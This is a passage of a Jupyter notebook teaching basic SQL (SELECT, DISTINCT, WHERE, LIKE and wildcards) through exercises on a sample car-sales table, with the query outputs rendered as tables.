1/3/2014 \n", "98 1/15/2014 \n", "99 1/28/2014 \n", "\n", "[100 rows x 7 columns]" ] }, "execution_count": 5, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " *\n", " FROM\n", " sales_table\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Write a query to select all columns from the car_table:" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 6, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(select_cheat1)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "_____________" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "###SELECT COLUMN:\n", " SELECT \n", " column_a, # comma-separate multiple columns\n", " column_b\n", " FROM \n", " table_name\n", "Instead of using an asterisk for \"all columns\", you can specify a particular column or columns:" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>model_id</th>\n", " <th>revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0 </th>\n", " <td> 36</td>\n", " <td> 21222</td>\n", " </tr>\n", " <tr>\n", " <th>1 </th>\n", " <td> 20</td>\n", " <td> 19140</td>\n", " </tr>\n", " <tr>\n", " <th>2 </th>\n", " <td> 46</td>\n", " <td> 14720</td>\n", " </tr>\n", " <tr>\n", " <th>3 </th>\n", " <td> 31</td>\n", " <td> 19010</td>\n", " </tr>\n", " <tr>\n", " <th>4 </th>\n", " <td> 51</td>\n", " <td> 22022</td>\n", " </tr>\n", " <tr>\n", " <th>5 </th>\n", " <td> 75</td>\n", " <td> 21409</td>\n", " </tr>\n", " <tr>\n", " <th>6 </th>\n", " <td> 31</td>\n", " <td> 19894</td>\n", " </tr>\n", " <tr>\n", " <th>7 </th>\n", " <td> 46</td>\n", " <td> 12960</td>\n", " </tr>\n", " <tr>\n", " <th>8 </th>\n", " <td> 36</td>\n", " <td> 25938</td>\n", " </tr>\n", " <tr>\n", " <th>9 </th>\n", " <td> 51</td>\n", " <td> 19844</td>\n", " </tr>\n", " <tr>\n", " <th>10</th>\n", " <td> 31</td>\n", " <td> 21441</td>\n", " </tr>\n", " <tr>\n", " <th>11</th>\n", " <td> 31</td>\n", " <td> 17462</td>\n", " </tr>\n", " <tr>\n", " <th>12</th>\n", " <td> 31</td>\n", " <td> 17020</td>\n", " </tr>\n", " <tr>\n", " <th>13</th>\n", " <td> 20</td>\n", " <td> 18040</td>\n", " </tr>\n", " <tr>\n", " <th>14</th>\n", " <td> 75</td>\n", " <td> 18671</td>\n", " </tr>\n", " <tr>\n", " <th>15</th>\n", " <td> 51</td>\n", " <td> 22506</td>\n", " </tr>\n", " <tr>\n", " <th>16</th>\n", " <td> 20</td>\n", " <td> 20460</td>\n", " </tr>\n", " <tr>\n", " <th>17</th>\n", " <td> 46</td>\n", " <td> 13440</td>\n", " </tr>\n", " <tr>\n", " <th>18</th>\n", " <td> 51</td>\n", " <td> 18634</td>\n", " </tr>\n", " <tr>\n", " <th>19</th>\n", " <td> 22</td>\n", " <td> 17312</td>\n", " </tr>\n", " <tr>\n", " <th>20</th>\n", " <td> 36</td>\n", " <td> 23318</td>\n", " </tr>\n", " <tr>\n", " <th>21</th>\n", " <td> 20</td>\n", " <td> 21780</td>\n", " </tr>\n", " <tr>\n", " <th>22</th>\n", " <td> 75</td>\n", " <td> 19418</td>\n", " </tr>\n", " <tr>\n", " <th>23</th>\n", " <td> 22</td>\n", " <td> 17756</td>\n", " </tr>\n", " <tr>\n", " <th>24</th>\n", " <td> 31</td>\n", " <td> 21441</td>\n", " </tr>\n", " <tr>\n", " <th>25</th>\n", " <td> 31</td>\n", " <td> 17905</td>\n", " </tr>\n", " <tr>\n", " <th>26</th>\n", " <td> 20</td>\n", " <td> 16720</td>\n", " </tr>\n", " <tr>\n", " <th>27</th>\n", " <td> 31</td>\n", " <td> 20778</td>\n", " </tr>\n", " <tr>\n", " <th>28</th>\n", " <td> 75</td>\n", " <td> 19667</td>\n", " </tr>\n", " <tr>\n", " <th>29</th>\n", " <td> 20</td>\n", " <td> 19360</td>\n", " </tr>\n", " <tr>\n", " <th>...</th>\n", " <td>...</td>\n", " <td>...</td>\n", " </tr>\n", " <tr>\n", " <th>70</th>\n", " <td> 36</td>\n", " <td> 20174</td>\n", " </tr>\n", " <tr>\n", " <th>71</th>\n", " <td> 20</td>\n", " <td> 18480</td>\n", " </tr>\n", " <tr>\n", " <th>72</th>\n", " <td> 51</td>\n", " <td> 23474</td>\n", " </tr>\n", " <tr>\n", " <th>73</th>\n", " <td> 31</td>\n", " <td> 19231</td>\n", " </tr>\n", " <tr>\n", " <th>74</th>\n", " <td> 22</td>\n", " <td> 18865</td>\n", " </tr>\n", " <tr>\n", " <th>75</th>\n", " <td> 36</td>\n", " <td> 24104</td>\n", " </tr>\n", " <tr>\n", " <th>76</th>\n", " <td> 36</td>\n", " <td> 20436</td>\n", " </tr>\n", " <tr>\n", " <th>77</th>\n", " <td> 51</td>\n", " <td> 22990</td>\n", " </tr>\n", " <tr>\n", " <th>78</th>\n", " <td> 20</td>\n", " <td> 19580</td>\n", " </tr>\n", " <tr>\n", " <th>79</th>\n", " <td> 22</td>\n", " <td> 17756</td>\n", " </tr>\n", " <tr>\n", " <th>80</th>\n", " <td> 75</td>\n", " <td> 18920</td>\n", " </tr>\n", " <tr>\n", " <th>81</th>\n", " <td> 75</td>\n", " <td> 24646</td>\n", " </tr>\n", " <tr>\n", " <th>82</th>\n", " <td> 19</td>\n", " <td> 14006</td>\n", " </tr>\n", " <tr>\n", " <th>83</th>\n", " <td> 36</td>\n", " <td> 24890</td>\n", " </tr>\n", " <tr>\n", " <th>84</th>\n", " <td> 75</td>\n", " <td> 23401</td>\n", " </tr>\n", " <tr>\n", " <th>85</th>\n", " <td> 51</td>\n", " <td> 20328</td>\n", " </tr>\n", " <tr>\n", " <th>86</th>\n", " <td> 46</td>\n", " <td> 15200</td>\n", " </tr>\n", " <tr>\n", " <th>87</th>\n", " <td> 19</td>\n", " <td> 16189</td>\n", " </tr>\n", " <tr>\n", " <th>88</th>\n", " <td> 46</td>\n", " <td> 15040</td>\n", " </tr>\n", " <tr>\n", " <th>89</th>\n", " <td> 22</td>\n", " <td> 20197</td>\n", " </tr>\n", " <tr>\n", " <th>90</th>\n", " <td> 51</td>\n", " <td> 23232</td>\n", " </tr>\n", " <tr>\n", " <th>91</th>\n", " <td> 19</td>\n", " <td> 16734</td>\n", " </tr>\n", " <tr>\n", " <th>92</th>\n", " <td> 36</td>\n", " <td> 20960</td>\n", " </tr>\n", " <tr>\n", " <th>93</th>\n", " <td> 75</td>\n", " <td> 24148</td>\n", " </tr>\n", " <tr>\n", " <th>94</th>\n", " <td> 20</td>\n", " <td> 19140</td>\n", " </tr>\n", " <tr>\n", " <th>95</th>\n", " <td> 22</td>\n", " <td> 21751</td>\n", " </tr>\n", " <tr>\n", " <th>96</th>\n", " <td> 75</td>\n", " <td> 20413</td>\n", " </tr>\n", " <tr>\n", " <th>97</th>\n", " <td> 51</td>\n", " <td> 20328</td>\n", " </tr>\n", " <tr>\n", " <th>98</th>\n", " <td> 20</td>\n", " <td> 17600</td>\n", " </tr>\n", " <tr>\n", " <th>99</th>\n", " <td> 31</td>\n", " <td> 19894</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "<p>100 rows × 2 columns</p>\n", "</div>" ], "text/plain": [ " model_id revenue\n", "0 36 21222\n", "1 20 19140\n", "2 46 14720\n", "3 31 19010\n", "4 51 22022\n", "5 75 21409\n", "6 31 19894\n", "7 46 12960\n", "8 36 25938\n", "9 51 19844\n", "10 31 21441\n", "11 31 17462\n", "12 31 17020\n", "13 20 18040\n", "14 75 18671\n", "15 51 22506\n", "16 20 20460\n", "17 46 13440\n", "18 51 18634\n", "19 22 17312\n", "20 36 23318\n", "21 20 21780\n", "22 75 19418\n", "23 22 17756\n", "24 31 21441\n", "25 31 17905\n", "26 20 16720\n", "27 31 20778\n", "28 75 19667\n", "29 20 19360\n", ".. ... ...\n", "70 36 20174\n", "71 20 18480\n", "72 51 23474\n", "73 31 19231\n", "74 22 18865\n", "75 36 24104\n", "76 36 20436\n", "77 51 22990\n", "78 20 19580\n", "79 22 17756\n", "80 75 18920\n", "81 75 24646\n", "82 19 14006\n", "83 36 24890\n", "84 75 23401\n", "85 51 20328\n", "86 46 15200\n", "87 19 16189\n", "88 46 15040\n", "89 22 20197\n", "90 51 23232\n", "91 19 16734\n", "92 36 20960\n", "93 75 24148\n", "94 20 19140\n", "95 22 21751\n", "96 75 20413\n", "97 51 20328\n", "98 20 17600\n", "99 31 19894\n", "\n", "[100 rows x 2 columns]" ] }, "execution_count": 7, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " model_id, \n", " revenue\n", " FROM\n", " sales_table\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Write a query to select model_id and model from the car_table:" ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(select_cheat2)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "One more quick note on the basics of SELECT - technically you can SELECT a value without using FROM to specify a table. You could just tell the query exactly what you want to see in the result-set. If it's a number, you can write the exact number. If you are using various characters, put them in quotes.\n", "\n", "See the query below as an example:" ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>4</th>\n", " <th>5</th>\n", " <th>7</th>\n", " <th>'various characters or text'</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 4</td>\n", " <td> 5</td>\n", " <td> 7</td>\n", " <td> various characters or text</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " 4 5 7 'various characters or text'\n", "0 4 5 7 various characters or text" ] }, "execution_count": 9, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT \n", " 4, \n", " 5, \n", " 7, \n", " 'various characters or text'\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "________" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "###SELECT DISTINCT VALUES IN COLUMNS:\n", " SELECT\n", " DISTINCT column_a # returns a list of each unique value in column_a\n", " FROM\n", " table_name\n", "- Use DISTINCT to return unique values from a column\n", "- More on DISTINCT: http://www.w3schools.com/sql/sql_distinct.asp\n", "\n", "The query below pulls each distinct value from the model_id column in the sales_table, so each value is only listed one time:" ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>model_id</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 36</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 20</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 46</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 31</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 51</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> 75</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> 22</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> 19</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " model_id\n", "0 36\n", "1 20\n", "2 46\n", "3 31\n", "4 51\n", "5 75\n", "6 22\n", "7 19" ] }, "execution_count": 10, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " DISTINCT model_id\n", " FROM\n", " sales_table\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Use DISTINCT to select unqiue values from the salesman_id column in sales_table. Delete DISTINCT and rerun to see the effect." ] }, { "cell_type": "code", "execution_count": 11, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 11, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(select_cheat3)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "_____\n", "_____\n", "_____\n", "____\n", "\n", "____\n", "\n", "# WHERE\n", "\n", " SELECT \n", " column_a\n", " FROM\n", " table_name\n", " WHERE\n", " column_a = x # filters the result-set to rows where column_a's value is exactly x\n", " \n", "A few more options for the where clause:\n", "\n", " WHERE column_a = 'some_text' # put text in quotations. CAPITALIZATION IS IMPORTANT\n", " \n", " WHERE column_a != x # filters the result-set to rows where column_a's value DOES NOT EQUAL x\n", " \n", " WHERE column_a < x # filters the result-set to rows where column_a's value is less than x\n", " \n", " WHERE columna_a <= x # filters the result-set to rows where column_a's value is less than or equal to x\n", " \n", " WHERE column_a IN (x, y) # column_a's value can be EITHER x OR y \n", " \n", " WHERE column_a NOT IN (x, y) # column_a's value can be NEITHER x NOR y \n", " \n", " WHERE column_a BETWEEN x AND y # BETWEEN lets you specify a range \n", " \n", " WHERE column_a = x AND column_b = y # AND lets you add more filters\n", " \n", " WHERE column_a = x OR column_b = y # OR will include results that fulfill either criteria\n", " \n", " WHERE (column_a = x AND column_b = y) OR (column_c = z) # use parentheses to create complex AND/OR statements \n", "\n", "\n", "- WHERE allows you to filter the result-set to only include rows matching specific values/criteria. If the value/criteria is text, remember to put it in single or double quotation marks\n", "- More on WHERE: http://www.w3schools.com/sql/sql_where.asp\n", "\n", "Below, WHERE filters out any rows that don't match the criteria. The result-set will only contain rows where the payment type is cash AND where the model_id is 46:" ] }, { "cell_type": "code", "execution_count": 12, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>id</th>\n", " <th>model_id</th>\n", " <th>customer_id</th>\n", " <th>revenue</th>\n", " <th>payment_type</th>\n", " <th>salesman_id</th>\n", " <th>date</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 40112</td>\n", " <td> 46</td>\n", " <td> 819010</td>\n", " <td> 14720</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/17/2014</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 82630</td>\n", " <td> 46</td>\n", " <td> 618295</td>\n", " <td> 15040</td>\n", " <td> cash</td>\n", " <td> 949</td>\n", " <td> 1/16/2014</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 70434</td>\n", " <td> 46</td>\n", " <td> 944843</td>\n", " <td> 13600</td>\n", " <td> cash</td>\n", " <td> 680</td>\n", " <td> 1/25/2014</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 30046</td>\n", " <td> 46</td>\n", " <td> 982483</td>\n", " <td> 12640</td>\n", " <td> cash</td>\n", " <td> 215</td>\n", " <td> 1/29/2014</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 14082</td>\n", " <td> 46</td>\n", " <td> 909110</td>\n", " <td> 15200</td>\n", " <td> cash</td>\n", " <td> 813</td>\n", " <td> 1/28/2014</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> 31815</td>\n", " <td> 46</td>\n", " <td> 743097</td>\n", " <td> 15040</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/25/2014</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " id model_id customer_id revenue payment_type salesman_id date\n", "0 40112 46 819010 14720 cash 147 1/17/2014\n", "1 82630 46 618295 15040 cash 949 1/16/2014\n", "2 70434 46 944843 13600 cash 680 1/25/2014\n", "3 30046 46 982483 12640 cash 215 1/29/2014\n", "4 14082 46 909110 15200 cash 813 1/28/2014\n", "5 31815 46 743097 15040 cash 147 1/25/2014" ] }, "execution_count": 12, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " *\n", " FROM\n", " sales_table\n", " WHERE\n", " payment_type = 'cash'\n", " AND model_id = 46 \n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Rewrite the query to return rows where payment_type is NOT cash, and the model_id is either 31 or 36**\n", "- Extra: Try changing 'cash' to 'Cash' to see what happens." ] }, { "cell_type": "code", "execution_count": 13, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 13, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(where_cheat1)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Using BETWEEN, rewrite the query to return rows where the revenue was between 24,000 and 25,000:" ] }, { "cell_type": "code", "execution_count": 14, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 14, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(where_cheat2)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "_____\n", "_____\n", "_____\n", "_____\n", "_____\n", "\n", "###WHERE column LIKE:\n", " SELECT \n", " column_a\n", " FROM\n", " table_name\n", " WHERE\n", " column_a LIKE '%text or number%' # Filters the result_set to rows where that text or value can be found, with % standing in as a wildcard\n", " \n", "- LIKE lets you avoid issues with capitalization in quotes, and you can use % as a wildcard to stand in for any character\n", "- Useful if you have an idea of what text you're looking for, but you are not sure of the spelling or you want all results that contatin those letters\n", "- More on LIKE: http://www.w3schools.com/sql/sql_like.asp\n", "- More on wildcards: http://www.w3schools.com/sql/sql_wildcards.asp\n", "\n", "Note that you don't have to use the whole word \"cash\" when you use LIKE, and that the capital \"C\" now doesn't cause a problem:" ] }, { "cell_type": "code", "execution_count": 15, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>id</th>\n", " <th>model_id</th>\n", " <th>customer_id</th>\n", " <th>revenue</th>\n", " <th>payment_type</th>\n", " <th>salesman_id</th>\n", " <th>date</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 40112</td>\n", " <td> 46</td>\n", " <td> 819010</td>\n", " <td> 14720</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/17/2014</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 13154</td>\n", " <td> 75</td>\n", " <td> 720210</td>\n", " <td> 21409</td>\n", " <td> cash</td>\n", " <td> 215</td>\n", " <td> 1/20/2014</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 56245</td>\n", " <td> 36</td>\n", " <td> 248621</td>\n", " <td> 25938</td>\n", " <td> cash</td>\n", " <td> 492</td>\n", " <td> 1/19/2014</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 37412</td>\n", " <td> 31</td>\n", " <td> 750195</td>\n", " <td> 17462</td>\n", " <td> cash</td>\n", " <td> 949</td>\n", " <td> 1/11/2014</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 68513</td>\n", " <td> 31</td>\n", " <td> 461723</td>\n", " <td> 17020</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/18/2014</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " id model_id customer_id revenue payment_type salesman_id date\n", "0 40112 46 819010 14720 cash 147 1/17/2014\n", "1 13154 75 720210 21409 cash 215 1/20/2014\n", "2 56245 36 248621 25938 cash 492 1/19/2014\n", "3 37412 31 750195 17462 cash 949 1/11/2014\n", "4 68513 31 461723 17020 cash 147 1/18/2014" ] }, "execution_count": 15, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " *\n", " FROM\n", " sales_table\n", " WHERE\n", " payment_type LIKE 'Cas%' \n", " ''').head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Be careful with LIKE though - it can't deal with extra characters or mispellings:" ] }, { "cell_type": "code", "execution_count": 16, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>id</th>\n", " <th>model_id</th>\n", " <th>customer_id</th>\n", " <th>revenue</th>\n", " <th>payment_type</th>\n", " <th>salesman_id</th>\n", " <th>date</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ "Empty DataFrame\n", "Columns: [id, model_id, customer_id, revenue, payment_type, salesman_id, date]\n", "Index: []" ] }, "execution_count": 16, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " *\n", " FROM\n", " sales_table\n", " WHERE\n", " payment_type LIKE 'ces%'\n", " LIMIT 5\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "LIKE and % will also return too much if you're not specific enough. This returns both 'cash' and 'finance' because both have a 'c' with some letters before or after:" ] }, { "cell_type": "code", "execution_count": 17, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>id</th>\n", " <th>model_id</th>\n", " <th>customer_id</th>\n", " <th>revenue</th>\n", " <th>payment_type</th>\n", " <th>salesman_id</th>\n", " <th>date</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 54858</td>\n", " <td> 36</td>\n", " <td> 237906</td>\n", " <td> 21222</td>\n", " <td> finance</td>\n", " <td> 276</td>\n", " <td> 1/7/2014</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 43161</td>\n", " <td> 20</td>\n", " <td> 967016</td>\n", " <td> 19140</td>\n", " <td> finance</td>\n", " <td> 225</td>\n", " <td> 1/26/2014</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 40112</td>\n", " <td> 46</td>\n", " <td> 819010</td>\n", " <td> 14720</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/17/2014</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 92495</td>\n", " <td> 31</td>\n", " <td> 633030</td>\n", " <td> 19010</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/13/2014</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 78000</td>\n", " <td> 51</td>\n", " <td> 341877</td>\n", " <td> 22022</td>\n", " <td> finance</td>\n", " <td> 803</td>\n", " <td> 1/12/2014</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " id model_id customer_id revenue payment_type salesman_id date\n", "0 54858 36 237906 21222 finance 276 1/7/2014\n", "1 43161 20 967016 19140 finance 225 1/26/2014\n", "2 40112 46 819010 14720 cash 147 1/17/2014\n", "3 92495 31 633030 19010 finance 215 1/13/2014\n", "4 78000 51 341877 22022 finance 803 1/12/2014" ] }, "execution_count": 17, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " *\n", " FROM\n", " sales_table\n", " WHERE\n", " payment_type LIKE '%c%'\n", " LIMIT 5\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "You can use different wildcards besides % to get more specific. An underscore is a substitute for a single letter or character, rather than any number. The query below uses 3 underscores after c to get 'cash':" ] }, { "cell_type": "code", "execution_count": 18, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>id</th>\n", " <th>model_id</th>\n", " <th>customer_id</th>\n", " <th>revenue</th>\n", " <th>payment_type</th>\n", " <th>salesman_id</th>\n", " <th>date</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 40112</td>\n", " <td> 46</td>\n", " <td> 819010</td>\n", " <td> 14720</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/17/2014</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 13154</td>\n", " <td> 75</td>\n", " <td> 720210</td>\n", " <td> 21409</td>\n", " <td> cash</td>\n", " <td> 215</td>\n", " <td> 1/20/2014</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 56245</td>\n", " <td> 36</td>\n", " <td> 248621</td>\n", " <td> 25938</td>\n", " <td> cash</td>\n", " <td> 492</td>\n", " <td> 1/19/2014</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 37412</td>\n", " <td> 31</td>\n", " <td> 750195</td>\n", " <td> 17462</td>\n", " <td> cash</td>\n", " <td> 949</td>\n", " <td> 1/11/2014</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 68513</td>\n", " <td> 31</td>\n", " <td> 461723</td>\n", " <td> 17020</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/18/2014</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " id model_id customer_id revenue payment_type salesman_id date\n", "0 40112 46 819010 14720 cash 147 1/17/2014\n", "1 13154 75 720210 21409 cash 215 1/20/2014\n", "2 56245 36 248621 25938 cash 492 1/19/2014\n", "3 37412 31 750195 17462 cash 949 1/11/2014\n", "4 68513 31 461723 17020 cash 147 1/18/2014" ] }, "execution_count": 18, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " *\n", " FROM\n", " sales_table\n", " WHERE\n", " payment_type LIKE 'c___'\n", " LIMIT 5\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Say you can't remember the model of the car you're trying to look up. You know it's \"out\"...something. Outcast? Outstanding? Write a query to return the model_id and model from the car_table and use LIKE to help you search:" ] }, { "cell_type": "code", "execution_count": 19, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 